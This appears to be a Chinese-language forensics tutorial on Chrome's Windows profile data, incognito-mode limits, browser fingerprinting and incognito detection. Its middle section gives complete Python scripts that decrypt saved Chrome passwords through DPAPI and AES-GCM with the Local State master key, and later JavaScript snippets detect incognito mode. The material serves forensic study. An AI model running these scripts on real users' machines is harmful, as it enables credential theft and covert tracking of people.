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概述
在Windows系统中，Google Chrome的配置文件存放在%LocalAppData%目录下。只有一个账号的数据存储目录：
C:\Users\xxxxx\AppData\Local\Google\Chrome\User Data\Default
该路径下的主要文件：
Bookmarks
Cookies
History
Login Data
QuotaManager
Shortcuts
Top Sites
Web Data
用winhex打开，其中，Bookmarks（书签） 是JSON文件，而且是明文存储。
{
"checksum": "483389db8b8adcb356227e06ee6d533a",
"roots": {
"bookmark_bar": {
"children": [ {
"date_added": "13286008493612852",
"guid": "50589c41-c552-4e29-a407-8e8a401ec4ff",
"id": "5",
"name": "Site administration | Django site admin",
"type": "url",
"url": "http://127.0.0.1:8000/admin/"
} ],
"date_added": "13285924453837021",
"date_modified": "13286008493612852",
"guid": "00000000-0000-4000-A000-000000000002",
"id": "1",
"name": "书签栏",
"type": "folder"
},
"other": {
"children": [ ],
"date_added": "13285924453837056",
"date_modified": "0",
"guid": "00000000-0000-4000-A000-000000000003",
"id": "2",
"name": "其他书签",
"type": "folder"
},
"synced": {
"children": [ ],
"date_added": "13285924453837072",
"date_modified": "0",
"guid": "00000000-0000-4000-A000-000000000004",
"id": "3",
"name": "移动设备书签",
"type": "folder"
}
},
"version": 1
}除了 Bookmark 是JSON文件外，其他都是SQLite3文件。
历史记录分析
History 是SQLite3 文件，可以用Python脚本读取，也可以直接用 Navicat 直接打开，Python脚本：
import sqlite3
db_file_path = './History'
sql = 'select name from sqlite_master where type="table" order by name' # 查询所有表格
sql = 'pragma table_info(downloads)' # 查询表格字段
conn = sqlite3.connect(db_file_path)
cursor = conn.cursor()
cursor.execute(sql)
# 接收全部返回结果
for data in cursor.fetchall():
print(data)
表格
('downloads',)
('downloads_slices',)
('downloads_url_chains',)
('keyword_search_terms',)
('meta',)
('segment_usage',)
('segments',)
('sqlite_sequence',)
('typed_url_sync_metadata',)
('urls',)
('visit_source',)
('visits',)downloads 表
文件下载记录
主要字段：
其中 start_time 和end_time 都是微秒级别的时间戳，转化是需要先除以10^6
>>> import time
>>> start_time = 13286256367986952
>>> time.strftime("%Y-%m-%d %X",time.localtime((start_time / 1000000) - 11644473600))
'2022-01-10 10:46:07'urls表
记录所有访问过的链接的地址、页面标题、访问次数以及最后访问时间
通过 History 文件分析，可以获取到用户的浏览记录、下载记录，甚至可以进一步分析出用户的喜好。
登录信息分析
主流浏览器都有记住密码到本地的功能，该功能方便用户管理不同网站的密码，无需记忆，可以保存到本地，甚至通过账号可以实现多设备同步。
存储登录信息的文件为Login Data，是 SQLite3 文件，用Python脚本读取
import sqlite3
db_file_path = './Login Data'
conn = sqlite3.connect(db_file_path)
cursor = conn.cursor()
cursor.execute(
'select username_value, password_value, signon_realm from logins')
# 接收全部返回结果
for data in cursor.fetchall():
print(data)
('Hillstone', b'\x01\x00\x00\x00\xd0\x8c\x9d\xdf\x01\x15\xd1\x11\x8cz\x00\xc0O\xc2\x97\xeb\x01\x00\x00\x00\xdc\x8cEq;\x07!H\xba+8\xaaF0\xe3\xe2\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x10f\x00\x00\x00\x01\x00\x00 \x00\x00\x00P\xa86x\x97\x82!U\xbbS\xe6\x85\xc3\xc8\x87\xff@\x1e\xdd\x93\xf8\x9c\x16\x91\xdc\x9b&\xac\xc0\x0b\xfb&\x00\x00\x00\x00\x0e\x80\x00\x00\x00\x02\x00\x00 \x00\x00\x00\xbaf\x18\xbe\xc0_S\xe7\xa8\xd9@\xbf\xb9\x89\xd6nV\xdc\x1c,\xd3\xdf\xbb\xfc\x00\x8c\x80\xb6\x94\x15\x0f\xf1\x10\x00\x00\x00"P\xd5\xb9\xaeA\x994f\xad\xf5aJ\x07f\x0c@\x00\x00\x00\x13\xf9\xf2\xe5s\x07\xf1nla\xd9#W\xdbE\x8b{g\xb4\xe7\xd6e\x1f\x1em\x1d\x81\x7f3c\xf5\x14\xbc\x8b\xbfH\xad\x9a\xbe\\\xa4\xe8\x80\x04\x8f~F\xdb\xbe.\xbf%\xdb\xc0\xa3\xc1\xcb,\x17\x03\x99\x98D^', 'http://127.0.0.1:8000/')其中 password_value 字段被加密，使用的是 Microsoft的数据保护API（DPAPI）
引用的知识点
从Windows 2000开始，Microsoft随操作系统一起提供了一种特殊的数据保护接口，称为Data Protection Application Programming Interface（DPAPI）。其分别提供了加密函数CryptProtectData 与解密函数 CryptUnprotectData 以用作敏感信息的加密解密。
其用作范围包括且不限于：
IE、Chrome的登录表单自动完成
Powershell加密函数
Outlook, Windows Mail等邮箱客户端的用户密码。
FTP管理账户密码
共享资源文件夹的访问密码
无线网络帐户密钥和密码
远程桌面身份凭证
EFS
EAP/TLS 和 802.1x的身份凭证
Credential Manager中的数据
以及各种调用了CryptProtectData函数加密数据的第三方应用，如Skype, Windows Rights Management Services, Windows Media, MSN messenger, Google Talk等。
DPAPI 采用的加密类型为对称加密，所以只要找到了密钥，就能解开物理存储的加密信息了。
chrome version 80（80.0.3987.163） 版本前可以直接通过 DPAPI 中的解密函数 CryptUnprotectData来进行解密的。
实验版本：79.0.3945.117，需要关掉 Chrome 的自动更新服务，否则回自动更新的最新版
python -m pip install pypiwin32
import sqlite3
from win32 import win32crypt
db_file_path = './Login Data'
conn = sqlite3.connect(db_file_path)
cursor = conn.cursor()
cursor.execute(
'select username_value, password_value, signon_realm from logins')
# 接收全部返回结果
for data in cursor.fetchall():
passwd = win32crypt.CryptUnprotectData(data[1], None, None, None, 0)
# print(passwd)
if passwd:
print('-------------------------')
print('[+]用户名: ' + data[0])
print('[+]密码: ' + str(passwd[1]))
print('[+]网站URL: ' + str(data[2]))
# print(data)
-------------------------
[+]用户名: Hillstone
[+]密码: b'admin'
[+]网站URL: http://127.0.0.1:8000/
chrome version 80 （80.0.3987.163）版本后，password_value使用AES-GCM加密算法加密，加密使用的主密钥用 DPAPI 的加密函数 CryptProtectData 加密存放在Local State文件中。
Local State 实际上是一个 JSON文件，被加密的密钥存储在 os_crypt 下的 encrypted_key ，文件位置
C:\Users\xxxxx\AppData\Local\Google\Chrome\User Data\Local State
解密步骤
打开 Local State 的 encrypted_key ，解 Base64，再调用 CryptUnprotectData 解密得到 主密钥的明文，其中前五个字符为DPAPI
打开 Login Data 数据库文件，查询 password_value 字段
使用 aes-gcm 解密 password_value 字段
python -m pip install -i https://pypi.douban.com/simple/ pycryptodome
import json
from win32 import win32crypt
import base64
import sqlite3
from Crypto.Cipher import AES
# --- 文件路径配置 ---
local_state_path = './Local State'
login_data_path = './Login Data'
# --- end ---
# 获取解密后的主密钥
def get_master_key():
with open(local_state_path, 'r') as f:
local_state = json.load(f)
master_key = local_state['os_crypt']['encrypted_key']
# print(key)
master_key = base64.b64decode(master_key)
master_key = master_key[5:] # removing DPAPI
master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
return master_key
# 调用解密方法
def decrypt_payload(cipher, payload):
return cipher.decrypt(payload)
# 实例化解密器
def generate_cipher(aes_key, iv):
return AES.new(aes_key, AES.MODE_GCM, iv)
# 解密密码字段，参数是密码的密文和主密钥
def decrypt_password(encrypted_password, master_key):
# 密文的3-15是iv，剩下的是密文
iv = encrypted_password[3:15]
payload = encrypted_password[15:]
try:
cipher = generate_cipher(master_key, iv) # 实例化解密器
decrypted_pass = decrypt_payload(cipher, payload) # 调用解密方法
decrypted_pass = decrypted_pass[:-16].decode() # 去掉后缀字节
# print(decrypted_pass)
return decrypted_pass
except :
return "Chrome version < 80.0.3987.163"
if __name__ == '__main__':
# 1.获取主密钥
master_key = get_master_key()
print(master_key)
# 2.打开 Login Data 数据库文件，查询 password_value 字段
conn = sqlite3.connect(login_data_path)
cursor = conn.cursor()
try:
cursor.execute('select username_value, password_value, signon_realm from logins')
for data in cursor.fetchall():
# print(data)
encrypted_password = data[1]
# 3. 解密密码字段
decrypted_password = decrypt_password(encrypted_password, master_key)
# print(decrypted_password)
print("Username:" + data[0])
print("Password:" + decrypted_password)
print("Username:" + data[2])
print("------------------------------")
except:
print("Fail: 数据库查询失败！")
# 关闭连接
cursor.close()
conn.close()
无痕模式
现代网络浏览器，大多数都增加了隐私浏览模式来浏览网页，其目的在于保护用户隐私。在Chrome浏览器中，称之为无痕模式.
简而言之，无痕模式只是在本地不会保存浏览记录、Cookie、表单中填写的信息。同时，还有阻止第三方 Cookie功能。
第三方Cookie
第三方Cookie是由用户当时所访问的域以外的域创建的Cookie，主要用于跟踪和在线广告目的。
隐私功能的局限性：
关闭窗口时，并不会删除无痕模式下载的文件
添加的书签正常保存
不会阻止服务端获取定位
ISP （Internet 服务提供商）和出口（如学校、公司）可以获取上网活动，即无痕模式连IP都无法屏蔽
在无痕模式下，用户不登陆访问网站，服务端还能否区分不同的用户？
实验：
正常模式下访问 nothing private，输入表示字段
使用无痕模式再次访问网站，输出标识字段
抓包分析：
在提交标识字段的时候，还提交了另一个 finger 参数
使用无痕模式访问时，会带着 finger 参数，也就能识别出用户
像常见的MAC地址等，一般都需要特殊权限才能访问，而Server一般可控的只有前端代码。
finger 参数是根据什么生成的？它是否能作为唯一的用户标识？
浏览器指纹
浏览器指纹是指仅通过浏览器的各种信息，如 CPU 核心数、显卡信息、系统字体、屏幕分辨率、浏览器插件等组合成的一个字符串，就能近乎绝对定位一个用户，就算使用浏览器的隐私窗口模式，也无法避免。
这是一个被动的识别方式。也就是说，理论上你访问了某一个网站，那么这个网站就能识别到你，虽然不知道你是谁，但你有一个唯一的指纹，将来无论是广告投放、精准推送、安全防范，还是其他一些关于隐私的事情，都非常方便。
Nothing Private 使用 ClientJS（用纯 JavaScript 编写的设备信息和数字指纹）的浏览器指纹识别功能来获取 Web 浏览器的指纹，通过 getFingerprint 方法，获取 UA、cookie、本地存储、canvas 指纹等信息，再经过Murmur Hash算法进行加密。
MurmurHash 是一种非加密型哈希函数，适用于一般的哈希检索操作。
无痕模式检测
在 Chrome76之前，由于 FileSystem API 在无痕模式下被禁用，而正常访问时存在，利用此差异可以用来检测用户是否使用无痕模式浏览网站，有些网站还会阻止这类用户的访问。检测 Javascript：
const fs = window.RequestFileSystem || window.webkitRequestFileSystem;
if (!fs) {
console.log('check failed?');
} else {
fs(
window.TEMPORARY,
100,
console.log.bind(console, 'not in incognito mode'),
console.log.bind(console, 'incognito mode')
);
}后来 Google 修复了该漏洞，但是导致了另外两种检测方法：
基于文件系统大小
安全研究人员 Vikas Mishra发现，Chrome 隐身模式和非隐身模式之间存储配额存在区别，如果临时存储配额<= 120MB，那么可以肯定地说它是一个隐身窗口。
实验版本：79
if ('storage' in navigator && 'estimate' in navigator.storage) {
const { usage, quota } = await navigator.storage.estimate();
console.log(`Using ${usage} out of ${quota} bytes.`);
if (quota < 120000000) {
console.log('Incognito');
} else {
console.log('Not Incognito');
}
} else {
console.log('Can not detect');
}
通过访问时间检
在读取和写入数据时，内存文件系统总是比磁盘文件系统快。在无痕模式下，Chrome 会将写入 API 的数据存储在内存中，而不是像在正常模式下那样将数据持久化到磁盘。
在 2018 年 3 月的设计文档中，Chrome 确定了基于时间和文件系统大小检测隐私模式的风险，并进行了替代实现：只将元数据保存在内存中，并加密磁盘上的文件。这将解决网站使用时间来区分内存和磁盘存储的风险，并消除基于文件系统大小和文件系统类型（临时与持久）的差异。
虽然它可以抵御隐私模式检测，但它会留下元数据：即使数据本身无法解密，但是也能作为使用无痕模式的判断依据。
参考
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